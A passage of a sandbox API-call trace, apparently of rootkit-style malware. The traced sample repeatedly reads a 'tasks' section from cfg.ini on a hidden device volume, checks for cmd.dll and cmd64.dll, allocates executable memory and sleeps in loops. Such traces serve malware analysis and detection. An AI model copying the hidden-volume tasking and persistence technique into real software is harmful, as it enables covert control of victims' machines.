_Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.422] KeEnterCriticalRegion () [0126.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.422] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003494000 [0126.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.422] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.422] IdePortDispatch () returned 0x103 [0126.422] KeWaitForMutexObject () returned 0x0 [0126.422] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.422] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.422] IdePortDispatch () returned 0x103 [0126.422] KeWaitForMutexObject () returned 0x0 [0126.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.422] KeLeaveCriticalRegion () [0126.422] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.423] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.423] KeEnterCriticalRegion () [0126.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.423] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.423] KeLeaveCriticalRegion () [0126.423] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.423] KeEnterCriticalRegion () [0126.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.423] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.423] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.423] KeLeaveCriticalRegion () [0126.423] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.423] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.423] KeEnterCriticalRegion () [0126.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.423] ExFreePoolWithTag (P=0xfffffa8003ac72d0, Tag=0x0) [0126.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.423] KeLeaveCriticalRegion () [0126.423] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.423] ReleaseMutex (hMutex=0xf0) returned 1 [0126.423] Sleep (dwMilliseconds=0x927c0) [0126.437] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.437] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.437] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.437] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.437] KeEnterCriticalRegion () [0126.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.437] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.437] IdePortDispatch () returned 0x103 [0126.437] KeWaitForMutexObject () returned 0x0 [0126.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.438] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.438] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.438] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.438] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.438] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac72d0 [0126.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.438] KeLeaveCriticalRegion () [0126.438] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.438] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.438] KeEnterCriticalRegion () [0126.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.438] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.438] KeLeaveCriticalRegion () [0126.438] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.438] KeEnterCriticalRegion () [0126.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.438] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.438] IdePortDispatch () returned 0x103 [0126.438] KeWaitForMutexObject () returned 0x0 [0126.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.438] KeLeaveCriticalRegion () [0126.438] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.438] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.438] KeEnterCriticalRegion () [0126.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.438] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003499000 [0126.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.438] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.438] IdePortDispatch () returned 0x103 [0126.439] KeWaitForMutexObject () returned 0x0 [0126.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.439] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.439] IdePortDispatch () returned 0x103 [0126.439] KeWaitForMutexObject () returned 0x0 [0126.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.439] KeLeaveCriticalRegion () [0126.439] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.439] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.440] KeEnterCriticalRegion () [0126.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.440] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.440] KeLeaveCriticalRegion () [0126.440] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.440] KeEnterCriticalRegion () [0126.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.440] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.440] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.440] KeLeaveCriticalRegion () [0126.440] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.440] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.440] KeEnterCriticalRegion () [0126.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.440] ExFreePoolWithTag (P=0xfffffa8003ac72d0, Tag=0x0) [0126.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.440] KeLeaveCriticalRegion () [0126.440] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.440] ReleaseMutex (hMutex=0xf0) returned 1 [0126.440] Sleep (dwMilliseconds=0x927c0) [0126.454] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.454] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.454] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.454] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.454] KeEnterCriticalRegion () [0126.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.454] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.454] IdePortDispatch () returned 0x103 [0126.454] KeWaitForMutexObject () returned 0x0 [0126.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.455] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.455] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.455] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.455] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.455] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037eeb30 [0126.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.455] KeLeaveCriticalRegion () [0126.455] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.455] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.455] KeEnterCriticalRegion () [0126.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.455] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.455] KeLeaveCriticalRegion () [0126.455] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.455] KeEnterCriticalRegion () [0126.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.455] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.455] IdePortDispatch () returned 0x103 [0126.455] KeWaitForMutexObject () returned 0x0 [0126.455] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.455] KeLeaveCriticalRegion () [0126.455] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.455] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.455] KeEnterCriticalRegion () [0126.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.455] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349e000 [0126.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.455] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.455] IdePortDispatch () returned 0x103 [0126.456] KeWaitForMutexObject () returned 0x0 [0126.456] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.456] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.456] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.456] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.456] IdePortDispatch () returned 0x103 [0126.456] KeWaitForMutexObject () returned 0x0 [0126.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.456] KeLeaveCriticalRegion () [0126.456] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.456] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.456] KeEnterCriticalRegion () [0126.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.456] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.457] KeLeaveCriticalRegion () [0126.457] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.457] KeEnterCriticalRegion () [0126.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.457] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.457] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037eebf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.457] KeLeaveCriticalRegion () [0126.457] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.457] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.457] KeEnterCriticalRegion () [0126.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.457] ExFreePoolWithTag (P=0xfffffa80037eeb30, Tag=0x0) [0126.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.457] KeLeaveCriticalRegion () [0126.457] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.457] ReleaseMutex (hMutex=0xf0) returned 1 [0126.457] Sleep (dwMilliseconds=0x927c0) [0126.470] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.470] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.471] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.471] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.471] KeEnterCriticalRegion () [0126.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.471] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.471] IdePortDispatch () returned 0x103 [0126.471] KeWaitForMutexObject () returned 0x0 [0126.471] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.471] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.471] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.471] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.471] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.471] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4bd0 [0126.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.471] KeLeaveCriticalRegion () [0126.471] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.471] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.471] KeEnterCriticalRegion () [0126.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.471] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.471] KeLeaveCriticalRegion () [0126.471] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.471] KeEnterCriticalRegion () [0126.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.471] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.471] IdePortDispatch () returned 0x103 [0126.472] KeWaitForMutexObject () returned 0x0 [0126.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.472] KeLeaveCriticalRegion () [0126.472] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.472] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.472] KeEnterCriticalRegion () [0126.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.472] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a3000 [0126.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.472] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.472] IdePortDispatch () returned 0x103 [0126.472] KeWaitForMutexObject () returned 0x0 [0126.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.472] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.472] IdePortDispatch () returned 0x103 [0126.472] KeWaitForMutexObject () returned 0x0 [0126.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.472] KeLeaveCriticalRegion () [0126.472] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.473] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.473] KeEnterCriticalRegion () [0126.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 